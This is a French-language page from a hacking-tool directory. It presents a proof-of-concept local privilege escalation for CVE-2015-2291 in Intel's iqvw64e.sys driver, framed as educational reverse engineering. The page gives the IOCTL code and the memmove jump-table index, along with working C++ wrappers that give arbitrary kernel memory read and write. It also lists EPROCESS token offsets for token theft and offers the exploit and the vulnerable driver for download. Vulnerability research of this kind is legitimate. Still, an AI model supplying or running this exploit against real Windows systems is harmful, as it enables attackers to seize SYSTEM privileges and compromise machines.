Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
iqvw64e-privilege-escalation — CVE-2015-2291 Local Privilege Escalation PoC | Kitploit
Outils/GitHubGitHub/ethanedits/iqvw64e-privilege-escalation
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubethanedits/iqvw64e-privilege-escalation

iqvw64e-privilege-escalation

CVE-2015-2291 Local Privilege Escalation PoC

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
2il y a 6 moisPas encore vérifié

iqvw64e-privilege-escalation

CVE-2015-2291 Preuve de concept d'élévation de privilèges locale

PoC

Aperçu

Ce projet est une preuve de concept éducative pour une vulnérabilité d'élévation de privilèges locale (LPE) dans le pilote iqvw64e.sys (SHA256 : 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — le pilote de diagnostic Ethernet Intel associé à CVE-2015-2291.

Après avoir vu le pilote exploité dans des chargeurs en mode noyau comme KDMapper, j'ai voulu le désassembler moi-même pour comprendre comment fonctionne la routine de gestion des IOCTL, quels types de fonctions il expose en mode utilisateur, et comment un attaquant pourrait les découvrir ou les exploiter. Ce document décrit le processus, de l'analyse statique à la construction de primitives mémoire à l'aide de DeviceIoControl, et finalement à la création d'une exploitation qui utilise ces primitives pour remplacer le jeton d'accès du processus en cours par celui du processus SYSTEM, ce qui élève efficacement le processus aux privilèges SYSTEM.

Sous Windows, chaque processus est associé à un jeton d'accès qui définit son identité et ses privilèges. En obtenant une lecture/écriture arbitraire du noyau, il devient possible de modifier le pointeur de jeton stocké dans la structure du processus noyau. Remplacer ce pointeur par celui du processus SYSTEM amène le système d'exploitation à associer le processus en cours au contexte de sécurité de SYSTEM, lui conférant ainsi tous les privilèges. Apprenez-en plus ici.

De la routine IOCTL à la table de saut

Le pilote enregistre une routine de répartition pour IRP_MJ_DEVICE_CONTROL, qui gère les appels DeviceIoControl depuis le mode utilisateur. Comme illustré ci-dessous, elle mène à sub_11150 qui dirige le flux d'exécution en fonction du code de contrôle d'E/S d'entrée. Dans ce cas, nous nous intéressons à 0x80862007, qui nous amène à loc_111C2.

IRP_MJ_DEVICE_CONTROL

En suivant le flux d'exécution via loc_111C2, nous atteignons sub_113C0. Cette fonction reçoit un tampon d'entrée (a1) et utilise le premier QWORD de ce tampon comme index dans une table de saut de fonctions de gestion internes. Ici, le pilote effectue les opérations suivantes :

  • Lit a1 → premier QWORD (0x0) → jump_table_index

  • Effectue une sélection basée sur cet index

  • Distribue vers la fonction interne correspondante

  • Utilise les champs restants de a1 comme arguments

Nous savons maintenant que le tampon d'entrée contrôle à la fois la cible de distribution et ses paramètres. Nous allons définir plus en détail la structure du tampon d'entrée au fur et à mesure de l'analyse.

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — utilisé comme sélecteur de distribution
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

loc_111C2

sub_113C0

Identification de la primitive memmove

En analysant les cas de la table de saut, j'ai cherché des gestionnaires ressemblant à memmove ou memcpy. Pour le cas 0x33, le pilote appelle sub_11EA0, en passant trois champs du tampon d'entrée. Cela ressemble fortement à une copie mémoire :

case_0x33

En ouvrant sub_11EA0, nous trouvons la signature attendue :

root@kitploit:~
void* memmove( void* dest, const void* src, std::size_t count );

Le désassemblage confirme que :

  • L'argument a1 = destination

  • L'argument a2 = source

  • L'argument a3 = length

sub_11EA0

Avec ces informations, nous pouvons désormais reconstruire complètement la disposition du tampon d'entrée prévue pour l'appel à memmove :

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
	uint64_t jump_table_index; // 0x00
	uint64_t padding;          // 0x08 (8)
	uint64_t source;           // 0x10 (16)
	uint64_t destination;      // 0x18 (24)
	uint64_t length;           // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

Obtention d'une lecture/écriture mémoire arbitraire

Nous comprenons maintenant qu'en envoyant un MEMMOVE_INPUT_BUFFER valide au pilote, avec :

  • jump_table_index = 0x33

  • source, destination et length définis selon les besoins

Nous pouvons demander au pilote d'appeler memmove sur des adresses arbitraires, ce qui nous donne des capacités complètes de lecture/écriture dans la mémoire noyau depuis le mode utilisateur.

Voici les wrappers en mode utilisateur construits autour de cette primitive :

root@kitploit:~
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	MEMMOVE_INPUT_BUFFER input_buffer = { 0 };

	input_buffer.jump_table_index = 0x33; //index de la table de saut pour memmove (51)
	input_buffer.source = source;
	input_buffer.destination = destination;
	input_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}

uintptr_t read64(uintptr_t address)
{
	uintptr_t value = 0;
	if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
		return value;
	return 0;
}

bool write64(uintptr_t address, uintptr_t value)
{
	return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}

Ces assistants permettent des lectures et écritures arbitraires 64 bits dans la mémoire virtuelle du noyau. À partir de là, diverses attaques deviennent possibles (comme le vol de jeton EPROCESS), mais ce document se concentre sur la reconstruction et l'analyse. Vous trouverez dans main.cpp une exploitation de démonstration du vol de jeton EPROCESS, gracieuseté de Eap2468 CVE-2021-2155

Remarques

  • Version de Windows : 10 x64 22H2 (19045.6466)

  • Offsets EPROCESS :

    • UniqueProcessId : 0x440
    • ActiveProcessLinks : 0x448
    • Token : 0x4b8
  • Pilote : iqvw64e.sys (Le binaire du pilote a été inclus dans le dépôt pour votre commodité)

  • SHA256 : 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9

Références et crédits

  • CVE-2015-2291 (iqvw64e.sys)
  • KDMapper
  • CVE-2021-21551 / Exploitation de vol de jeton
  • Projet Vergilius pour les définitions de structures Windows

Démonstration

PoC

Télécharger l’outil